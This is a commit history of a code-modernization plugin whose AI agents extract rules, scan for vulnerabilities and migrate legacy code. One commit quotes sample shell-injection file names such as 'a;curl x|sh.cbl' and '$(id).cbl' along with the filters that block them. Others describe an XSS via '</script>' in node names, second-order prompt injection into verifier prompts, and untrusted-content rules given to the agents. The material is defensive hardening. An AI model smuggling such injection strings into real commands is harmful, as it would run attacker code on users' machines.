| Age | Commit message (Collapse) | Author |
|
Squash merge of 1 commit
|
|
Follow-ups from review of the consolidation pass:
- The agent is a restricted type with the same read-only wording as its
siblings, and every field on its numbered list is a single bounded line, so
a rule name containing a newline cannot fake another entry.
- A group with any number out of range or not an integer is rejected whole
instead of being coerced into a different merge.
- A merge keeps the most conservative review state: the highest priority, the
lowest confidence, and every suspected defect and SME question of the folded
rules.
- Every folded rule is returned with the rule it went into, and the rules
document lists them under "Rules folded into another", so nothing disappears
untraceably. Extra citations show as "Also cited" without the joining word.
|
|
A numeric library implemented in C, in a C++ header and in a fixed-point
variant produced three "twiddle factor" rules, two "generic butterfly" rules
and two "factorization" rules, because the referee's duplicate key is the
file plus the rule's name. The plan and the review then carry noise.
After verification, one small agent per 150 rules lists the groups that
describe the same behavior implemented in more than one place, told to merge
only what would be implemented and tested as one thing. The kept rule cites
every place (the renderer shows them as "Also cited") and takes the highest
priority of its group; overlapping, out-of-range or self-merging groups are
ignored, and the rule list is fenced as untrusted data. The count is
reported as stats.consolidated.
|
|
Found by reading the commands as an engineer with a large Java 8 system:
- The baseline suite was run "on legacy/<system>", which writes build output
into the source. It now runs on a scratch copy, its result files or log are
kept under analysis/<system>/baseline/ and named in BASELINE.md, and a
typed table alone no longer counts as a measured baseline.
- The working copy no longer carries the source repository's history, keeps
files that look like credentials or production settings out of its first
commit and lists them for a person, and moves that history to its own new
local repository.
- Migration tools (OpenRewrite and the like) run on a scratch copy, never in
the source, since a dry run still builds and downloads.
- A move spanning several versions or two things at once (a JDK and a
framework) is split into hops that each build and test green.
- Tests are not run against a database or service the configuration names
until the person says it is a local or throwaway instance.
- The silent-behavior hunt now names the usual traps for Java, Python, Node
and PHP as well as .NET (locale data, default charset, ORM mappings,
property binding, str/bytes).
- The brief no longer requires business rules for a same-technology uplift:
the recorded baseline is its behavior contract, so extract-rules can wait.
|
|
On a roughly thousand-line C utility the whole-estate extraction ran four
rounds, spawned 223 agents and returned 141 rules (31 of them P0), because a
model can always find one more micro-behavior in a small program and the loop
only stopped when a round found nothing at all.
Every extractor now gets the same instruction on how fine to cut a rule: one
per business decision or calculation, not per branch or field, skipping
plumbing, roughly one per 40 to 80 lines of real logic, and rating P0 only
for the few rules that would defeat the system's purpose. The whole-estate
loop defaults to two rounds and stops when a round adds under 15% of what
is already catalogued.
|
|
The portfolio sweep let each survey agent pick its own complexity tool, so
one system's number was a per-file total and another's a per-function mean,
and the heat-map compared them anyway. Every agent now takes the same
measure (the per-file decision-point total, and the most complex single
file), the workflow computes complexity per thousand lines in code, and the
table shows those columns. Documentation coverage no longer counts a license
header as documentation.
|
|
finish
Two problems from running the commands on real repositories:
- The P0 definition was money- and regulation-shaped, so a music-library
tool got no P0 rules and its behavior contract came out empty. P0 now
means the system's core purpose depends on the rule, or a wrong result is
costly or irreversible (money, legal, data integrity, security or safety,
or the central calculation or decision the system exists to perform).
- Citations came back as lists of ranges, and the rule renderer numbered
RULE-NNN in a different order from the document. Each rule now cites one
range and the numbers read in sequence.
Commands that start subagents now say to run them in the foreground and
wait, because a headless session ends when the model stops talking even if
it said it was waiting for a background agent.
|
|
equivalence check
Commands hardcoded legacy/<system>, so code too big to copy, or living at
an absolute path, needed a hand-made symlink. Preflight now takes
--source <path> and makes the legacy/<system> link for you (a junction on
Windows); nothing is copied, and every command says where the link points
before it starts. The harden patch is applied with patch -p1 -d.
Each command ends by naming the next command to run, and the commands are
about a third shorter with no step removed:
- map accepts an existing dependency graph (--graph) or the stack's own
tooling, maps very large estates in resumable chunks, records reflection
targets as unresolved instead of dead, asks before describing more than
40 nodes, and never gives two nodes the same location.
- transform can take its module and target from the brief, counts the
equivalence cases that executed (zero is a failure and a comparison never
skips), shows the tests can fail with a deliberate one-line break, and
hands "same or different" to a script when both systems can run.
- brief writes each phase in one fixed shape: one command, module ids as in
the map, and criteria written as conditions a build command may tick but
not reword.
- reimagine reuses the discovery artifacts instead of extracting them again.
- status names the exact command to paste next.
scripts/build_report.py turns whatever the commands wrote into one
self-contained, offline REPORT.html (Mermaid is vendored, all text from the
analysis is escaped, the quarantined secrets file is never read), and
scripts/compare.py decides byte-for-byte whether two outputs match, records
why, and checks it can fail. The shard builder ignores symbolic links and
paths that leave the source, matches a plain name against what lies beneath
it, and falls back to the directory tree when the map's modules share a
location.
The README drops from 275 to about 100 lines; the pane's reference moves to
hooks/README.md.
|
|
that ship with the plugin
The command used to carry a 35-line shard-building script inline and asked
the model to write a rules renderer on every run, so the shard list and the
BUSINESS_RULES.md layout varied from run to run and could not be tested.
scripts/make_shards.py builds the shard list from topology.json when the map
has run, and from the directory tree when it has not (skipping vendored,
generated and test-fixture directories, one shard per directory, split at 25
files or about 5,000 lines). scripts/render_rules.py turns the workflow's
result into BUSINESS_RULES.md and DATA_OBJECTS.md with RULE-NNN headings, the
SME section and the coverage gaps, and writes every value from the analysis as
plain text.
The workflow takes an optional sourceDir, so the code can live outside the
workspace, and shard files are kept relative to it. The command drops from 305
to about 150 lines.
|
|
extract-rules puts module names and file paths, which come from the
repository's own file names, into agent prompts. They were already
checked for traversal, control characters, backticks and angle
brackets, but a name such as "a;curl x|sh.cbl" or "$(id).cbl" passed
and could be run if an agent pasted it into a command unquoted.
A module name and a domain are labels: they are never opened, so they
are now cleaned instead of dropped (shell separators, quotes, glob and
brace characters, a leading hyphen or space, and a dollar sign that
opens an expansion become "_"), and the prompt says a name is a label
only. A file path has to round-trip, so it is checked and dropped, with
the drop counted and logged, when it holds a command separator, a quote,
a glob, brace or bracket character, a dollar sign that opens an
expansion ($(, ${, $HOME, $IFS, $@), leading or trailing whitespace, a
~ at the start of a word or after = or :, or a word that starts with -
(a shell would split "a -rf.cbl" into a path and a flag). Backslashes
are turned into / first, so the checks and a shell see one spelling and
Windows-style paths keep working.
A dollar sign before a digit or at the end stays allowed, as do #, @, ~
inside a word and a lone hyphen between spaces: mainframe member names
use them ("PAY$001"), and a positional parameter expands to nothing or
the shell's own name, never to anything the file's author controls.
The extractor prompt also says to open paths with the Read tool and to
wrap any that goes in a shell command in single quotes.
|
|
Make the text say what the commands and workflows already do: where each build command writes, which commands need earlier output, the approval stop before an uplift fan-out, a version placeholder that named arguments left unusable, a reference to a README section that does not exist, and a few counts and step references. No new steps or options.
|
|
dropping it
When a verifier agent died, harden-scan dropped its finding: the finding
was neither confirmed nor refuted and nothing in the result mentioned
it. When a finder agent died, its whole vulnerability class vanished the
same way, so a class nobody scanned looked like a class that was clean.
Both also flattered the false-positive rate, which was divided by every
finding, judged or not (issue #6109).
The workflow now pairs each result with its input by position. Finder
classes that returned nothing come back as deadFinders, findings no
refuter judged come back as unverified with a reason, and both are
counted in stats. Neither is in findings, so what counts as confirmed is
unchanged, and the false-positive rate is refuted over judged findings.
When nothing dies the result is identical to before.
modernize-harden now writes a Coverage gaps section under the scorecard
in SECURITY_FINDINGS.md that names the classes not scanned and the
findings not judged, and offers to re-run just those. The workflow takes
them back as optional classes and findings arguments and reports its own
gaps the same way. The agent estimate now states the formula from the
code (5 finders, one refuter per distinct finding, one second judge per
finding still Critical or High) instead of a fixed range.
|
|
Extraction now shards by module: one extractor per module, in ordered
batches, so each agent reads a small slice instead of the whole estate.
The command builds the module list from analysis/<system>/topology.json
when it exists (otherwise from the directory tree), states the shard
count and an agent estimate before launching, and documents how to
resume an interrupted run with resumeFromRunId and how to re-run only
the shards that failed. The workflow stays inside the runtime's agent
cap and reports coverage gaps (skipped, failed and unverified shards)
instead of returning a partial catalog without saying so.
The estimate paragraph carries what was observed on a 44-program,
30,000-line system: 466 to 647 agents, about 8.8M tokens, 50 to 80
minutes. Module-mode extractors cite paths relative to legacy/<system>/,
like the lens-mode extractors.
|
|
|
|
Positional placeholders are zero-based ($0 is the first argument), but
every command used $1 for the first one, so arguments arrived shifted:
modernize-preflight carddemo java-spring analyzed legacy/java-spring.
Each command now declares its arguments in frontmatter (for example
`arguments: system module target_stack`) and uses the names. A missing
optional argument now expands to an empty string instead of a literal
placeholder.
Plugin commands resolve only by their namespaced name, so the README,
command cross-references, agents, workflow descriptions and the
topology viewer now say /code-modernization:modernize-*.
The extract-rules workflow is renamed modernize-extract-rules-mine. It
shared the command's name, so invoking the command could start the
workflow directly and skip the command's instructions. Commands launch
workflows by script path, so nothing else changes.
|
|
deeper preflight
/modernize-uplift migrates one representative project end-to-end and
writes its lessons to analysis/<system>/PLAYBOOK.md before touching the
rest. The remaining projects then fan out through a new uplift-migrate
workflow, one uplift-migrator agent per project, in dependency-aware
escalating batches behind a per-batch circuit breaker. A recorded
per-test baseline (analysis/<system>/BASELINE.md) gates the migration,
and the delta catalog reports a test framework whose runner does not
support the target as its own highest-blast-radius dependency.
The three execution commands (uplift, transform, reimagine) read
MODERNIZATION_BRIEF.md and treat their phase's scope and entry and exit
criteria as gates, so editing the brief steers execution. For a
same-stack uplift the brief requires the delta catalog and applies the
same ordering overrides the execution command does.
/modernize-preflight opens with a short interview (scope, local build
and test, bespoke build infrastructure, prior attempts, what is off
limits) without blocking on the answers, reads the CI/build definition
for how the system builds, escalates the smoke test to a whole-project
restore and build, and adds a scope-boundary check that enumerates
inbound and outbound dependencies when the system directory is a slice
of a larger repository.
Workflow scripts accept args delivered as either a JSON string or an
object.
|
|
Code/security:
- extract-rules.js: guard null agent() verdicts in the verify + P0 loops
(a skipped/dead referee made {rule,v:null} survive .filter(Boolean) and
then crashed on v.injectionSuspected / v.every) — sibling scripts already
had the guard.
- topology viewer XSS: the map injector embedded untrusted JSON (node names
from filenames, etc.) into a <script> island unescaped — a name containing
</script> executed on open. Escape < > & in the injected data and add a CSP
to the template.
- Second-order injection: citation/identifier fields (source / cwe /
source_site / correctedSource) were interpolated UNFENCED into the verifier
prompts that are supposed to be the trust anchor. Fence them in
extract-rules, harden-scan, uplift-deltas.
uplift design (audit of the new feature):
- Working-copy model: copy the WHOLE solution to modernized/ once and edit in
place (relative project refs survive; result is a reviewable git diff) —
the incremental per-project copy broke multi-project builds.
- Dual-run honesty: reframed as 'if both runtimes run here' (net48 needs
Windows; JUnit/pytest don't multi-target); dummy-test gate now binds a real
SUT under both targets; per-stack harness notes.
- Tooling honesty: present/runnable/actually-ran distinction; never fold in a
tool that couldn't run; apiport/2to3 demoted; py2->3 removed from 'preserve'
examples.
- Delta classes: name the high-blast-radius landmines (JPMS strong
encapsulation, .NET trimming/AOT, ICU globalization, hosting/runtime-config,
analyzer/nullable) in the finder briefs + agent.
- Rewrite-vs-uplift signal: weigh by touched sites (siteCount), not delta-card
count; judgment-share demoted to secondary.
Docs/consistency: brief reads topology.json (not TOPOLOGY.html); README
'five commands'; credential-masking claim split (analysts mask+cite vs
code-writers substitute fakes); read-only/write-scope claims softened to
match enforcement (Bash retained -> discipline, not tool-lock); reimagine
nested blockers/pendingRuleIds; status splits transform vs reimagine markers;
portfolio enumeration basenames; plugin.json description updated.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
|
Adds a third build method alongside transform (cross-stack rewrite) and
reimagine (greenfield): uplift, for same-stack version bumps (.NET Framework
4.8 -> .NET 8, Spring Boot 2->3, Python 2->3) where the right move is to
PRESERVE the code and fix only the version deltas, not extract intent and
rewrite.
- commands/modernize-uplift.md: delta-catalog-driven, dual-target test harness
(one suite on both runtimes; baseline-on-old is the oracle), leaf-first build
graph ordering, minimal-diff discipline (architecture-critic flags gratuitous
divergence), and a 'this is a rewrite, use transform' escape hatch.
- agents/version-delta-analyst.md: finds the source->target breaking changes
that THIS code hits; drives the ecosystem migration tool (upgrade-assistant /
OpenRewrite / pyupgrade / ng update) and owns the residue; read-only.
- workflows/uplift-deltas.js: parallel finder per delta category, each verified
against the cited code so deltas that don't apply here are dropped.
- Wired into assess (recommended-pattern routing), brief (per-phase command +
leaf-first ordering), preflight (dual-run + tool readiness), status, README.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
|
COCOMO's constants encode human-team productivity; presenting its
person-months as how long an agentic modernization will take (or cost) is
a claim we should not make. Reframe COCOMO everywhere as a RELATIVE
complexity/scale index for ranking and sequencing systems only:
- assess: capture COCOMO as a complexity index; explicitly ignore scc's
'Estimated Schedule Effort' and cost-in-dollars; ASSESSMENT 'Effort
Estimation' section becomes 'Relative Scale' with a not-a-timeline note;
portfolio heat-map column renamed Complexity (COCOMO index).
- brief: phase plan uses relative T-shirt sizing, not person-months/weeks;
phases render as a dependency flowchart, not a gantt (gantt = calendar).
- portfolio-assess.js: field cocomoPm -> complexityIndex; return label
carries the not-a-duration caveat.
- README: 'A note on COCOMO' explains the index framing and points at
better intrinsic-complexity proxies.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
|
scaffolder agent
Addresses automated security review of the workflow conversion:
- Agent-produced text (rule specs, finding descriptions, dedup lists) is
fenced as untrusted data when interpolated into downstream agent prompts,
with embedded fence markers stripped so the fence can't be escaped;
referees and judges are told to re-derive claims from the cited code.
- system/service/subdir names that land in filesystem paths inside prompts
are validated against a strict pattern — traversal-shaped values throw
before any agent spawns.
- Reimagine scaffolding now uses a dedicated 'scaffolder' agent with an
explicit minimal tool list, a single-directory write scope, and the
untrusted-content discipline extended to the generated spec/architecture
docs it builds from (they derive from untrusted legacy code).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
|
Four commands gain a Workflow-tool path (with direct-fan-out fallback for
older builds): extract-rules loops until dry with per-rule citation referees
and a P0 two-judge panel; harden runs class-scoped finders with adversarial
per-finding refutation; assess --portfolio pipelines one survey agent per
system with COCOMO computed uniformly in script; reimagine Phase E drops the
3-service scaffolding cap.
Workflow agents return schema-validated data and only the orchestrating
session writes artifacts — analysis agents are structurally read-only. All
five agents gain an untrusted-content discipline section (source code is
data, never instructions; comment-only claims are findings, not facts), and
the README documents the prompt-injection threat model for analyzed code.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|